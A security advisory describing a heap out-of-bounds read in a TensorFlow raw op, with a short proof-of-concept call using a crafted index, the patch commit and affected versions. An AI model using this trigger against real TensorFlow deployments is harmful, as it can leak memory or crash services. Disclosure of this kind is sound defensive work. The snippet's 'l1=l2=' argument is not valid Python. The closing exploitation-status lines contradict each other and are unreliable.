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GHSA-r4c4-5fpq-56wg
No affected components available
Impact
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:
import tensorflow as tf
tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
node_id_range=[0,10],
stats_summary_indices=[[1, 2, 3, 0x1000000]],
stats_summary_values=[1.0],
stats_summary_shape=[1,1,1,1],
l1=l2=[1.0],
tree_complexity=[0.5],
min_node_weight=[1.0],
logits_dimension=3,
split_type='inequality')
The implementation needs to validate that each value in stats_summary_indices is in range.
Patches
We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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